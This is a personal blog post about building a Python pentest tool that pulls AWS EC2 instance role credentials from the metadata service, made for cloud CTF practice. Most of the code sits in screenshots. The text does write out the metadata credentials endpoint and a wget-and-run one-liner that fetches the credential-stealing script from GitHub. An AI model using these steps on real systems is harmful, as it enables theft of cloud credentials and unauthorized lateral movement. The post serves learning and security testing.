Coding an AWS Pentest Tool

Outdated

This is an older post. I'm keeping it for sentimental reasons. You still might find value but there are probably better learning resources if that is your primary goal

Coding an AWS Pentest Tool: Stealing EC2 Instance Role Credentials (IMDSv1 & IMDSv2 compatible)

I've been doing some AWS CTFs recently for Pentesting.cloud and I've gotten hooked on it enough to where I’ve moved up to #3 on the leaderboard.

A common task I need to do is to curl the meta-data service or otherwise retrieve temporary credentials for lateral movement.

Today I want to take some time to write some Python scripts to host on my Github and then pull down with one-liners. I want it to be as seamless as possible, and only use the tools available on an EC2 instance by default. I’ll hopefully be able to reuse the script a lot and save myself some future workflow headaches.

TLDR: Here’s the code https://github.com/lmoratti/moratti-cloud-toolkit

I'm going to be detailing my process for coding the script in this blog post. My hope is that it might be helpful for beginners looking to make their own tools or who are trying to understand the basics of EC2 Instance Metadata Service.

First, though, we should start with some background that's honestly hard to gather as a beginner to AWS. "What is the Metadata service and what are IMDSv1 and IMDSv2?"

Part 0: Some background context

Instance metadata is data about your instance that you can use to configure or manage the running instance. Instance metadata is divided into categories, for example, host name, events, and security groups.

….

You can also use instance metadata to access user data that you specified when launching your instance.

…

Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata.

….

The examples in this section use the IPv4 address of the instance metadata service: 169.254.169.254. If you are retrieving instance metadata for EC2 instances over the IPv6 address, ensure that you enable and use the IPv6 address instead: fd00:ec2::254.

From <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html>

The service runs on a link-local IP address and is unique to every single EC2 instance.

From <https://www.trendmicro.com/cloudoneconformity/knowledge-base/aws/EC2/require-imds-v2.html>

This means that from an EC2 instance if we can interact with the instance metadata service (IMDS) AND if the EC2 instance has a role assigned to it — we can obtain temporary credentials for that role.

There’s also some nuance here. There are two versions of IMDS. Back in the day, there was a single IMDS version that only required you to make a single HTTP GET request to the service. This introduced some major risks, such as, if you had a web server with a Server Side Request Forgery (SSRF) vulnerability you could force that web server to make a GET request and give you temporary credentials. With those, you would have an initial foothold in an AWS environment.

This was not hypothetical either. There were real-world examples of this happening such as the Capital One breach.

As a direct response to this threat vector, AWS announced IMDSv2 on November 19, 2019. Which requires an HTTP PUT request to establish a token to use in subsequent requests to the metadata service. This makes it more difficult for vectors plaguing IMDv1 like WAF misconfigurations, open reverse proxies, and of course SSRF.

IMDSv2 uses session-oriented requests. With session-oriented requests, you create a session token that defines the session duration, which can be a minimum of one second and a maximum of six hours. During the specified duration, you can use the same session token for subsequent requests. After the specified duration expires, you must create a new session token to use for future requests.

From <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html>

You can read more about the design of IMDv2 through the official announcement here.

Part 1: Setup of the dev environment

First, let’s create an EC2 instance with the most common setup Amazon Linux 2 (AL2).

Launching an EC2 instance for science.

Then we’re going to use an Instance profile so we can hit the meta-data service. If you don’t have any profiles, you can make them by clicking on the ā€œCreate new IAM profileā€ button under ā€œAdvanced Detailsā€.

captionless image

I made an instance profile called ā€œAdministratorEc2ā€ and used the AdministratorAccess policy to give it full admin.

captionless image

Further down in ā€œAdvanced Optionsā€ we’re going to select v2 where a token is required. We’ll come back around and modify our script later with a v1 setup. Ideally, we want our script to try both use cases.

captionless image

Then I launched the instance and used the console to connect. I’m going to be lazy about this but there are plenty of ways you can connect such as SSH, SSM, etc.

captionless image

I’m using EC2 instance connect since it’s easiest.

captionless image

Part 2: The curling proof of concept

Now that we’re connected let’s use the very helpful curl command that AWS provides in its documentation to hit the metadata service.

Sidenote: I cannot include the actual CURL commands in this post. Apparently when I try to save them Medium tells me it’s impossible to save my draft. Sorry folks.

Using the CURL commands from AWS reference material
The response from the Metadata Service

You can see we can make a successful request by telling curl to include that token as a header ā€œX-aws-ec2-metadata-tokenā€.

You might be asking yourself… alright but where are the creds? The example from AWS doesn’t tell you how to do that directly, so you need to piece it together from the documentation

From the documentation, we’re interested in iam/security-credentials/role-name

So let’s modify the curl request to be to http://169.254.169.254/iam/security-credentials/AdministratorEc2

404 not found

Well, shoot, why is that? Well if you look at the original screenshot you can see those folders. What’s inside them?

captionless image
Curling one of those folders

Oh, a meta-data endpoint. But we need to find the folder with the most up-to-date name which is a pain.

A trick we’re going to use instead is ā€œ/latest/ā€ which will pick the most up-to-date one for us.

Using /latest/
http://169.254.169.254/latest/meta-data/iam/security-credentials/AdministratorEc2/

Awesome we get credentials that way. Now let’s write a python script to automate this and dump it into a file. Why Python? Partly because I’m most familiar with it, and partly because it’s supported by default on AL2 with the requests library already there for us to use

NOTE: AL2 has both Python2 and Python3 supported, but only python2 has requests already imported from the testing I did.

Part 3: Writing the Code

For an excellent baseline to get started, we’re going to use this website. https://curlconverter.com/

captionless image

We’re going to do that for both curl attempts and then we’re going to make it more modular as we go.

captionless image
Testing that code. It works and it’s ugly. Yay!

Excellent, now we need to pass in a role name.

Well wait a minute though… maybe there’s a way to get the role name dynamically?

Dynamically grabbing the role name

Now we’re making a call to the security-credentials endpoint and saving the response as the ec2role to then pass into the call for credentials.

An assumption I am making is that there is only one IAM role attached. To be extra sure, I looked it up.

captionless image

So we should be good to go. One thing that I do want to add now though is some try except clauses to prevent it from erroring out.

Try and except clauses galore. Not following DRY here…

Now I’m realizing something though. I’m repeating myself a lot. I want to make a function to wrap around the requests.

Writing a wrapper

This should help condense the code and allow me to adapt it for other things if necessary.

After wrapping those calls and making some nice print statements to be helpful, this is what our code is starting to look like.

Refactored using that wrapper.
The GitHub where I tossed my code

I tossed it up onto GitHub for our next trick — we’re going to be retrieving the script and then running it with a single command that I can copy and paste when I’m lazy.

Speaking of being lazy. One of the lesser talked about things is just how much of a pain it is when you’re using multiple terminals at once and you need to add these temporary credentials quickly. I want this script to give me a one-liner to copy and paste into a Kali terminal and add the credentials to my AWS credentials file.

This is some ugly code for the bash one-liner. It can be cleaned up in the future for readability.

This is some dirty code, but the output is looking good! That’s something that doesn’t get talked about enough for the professional pentesting side of things. Often we just need a proof of concept at the moment and we promise ourselves we’ll circle back around later to make it pretty.

The bash one-liner in action. Copy and paste ready!

When we take that one-liner over to kali we can see that it adds it to our ~/.aws/credentials file as a new profile

Testing the one-liner on Kali

Cat ~/.aws/credentials

Output from the file showing it was added correctly.

This has definitely come a long way but I also happen to use PowerShell quite a bit and I want a one-liner for that too.

The same one-liner but for Powershell

Awesome it’s now working.

The PowerShell one-liner at work.
Confirming the credentials work.

Now we just need a one-liner on our EC2 so we can download the script and then run it quickly.

wget https://raw.githubusercontent.com/lmoratti/moratti-cloud-toolkit/main/main.py && python main.py

It gets the code and runs it. Perfect!

Boom it works.

Now let’s go look at IMDSv1 to see if it is backward compatible. I’m creating a new instance with the same profile and the only change is that its v1

Changing the IMDS version.

It says that the token is optional, which means I think it might still work.

Confirmed. It still works!

Well, look at that. It still works and now we got a pretty sweet tool for years to come.

The next thing I’ll be looking at making is a python script for those times when you can create and invoke a lambda function and you want to steal the credential for the role attached to it.

After that, I’ll be making a PHP page to return credentials for situations where you have a PHP web application hosted on EC2 and the ability to upload a file. Maybe JavaScript too.

I hope this post was helpful, or at the very least, interesting.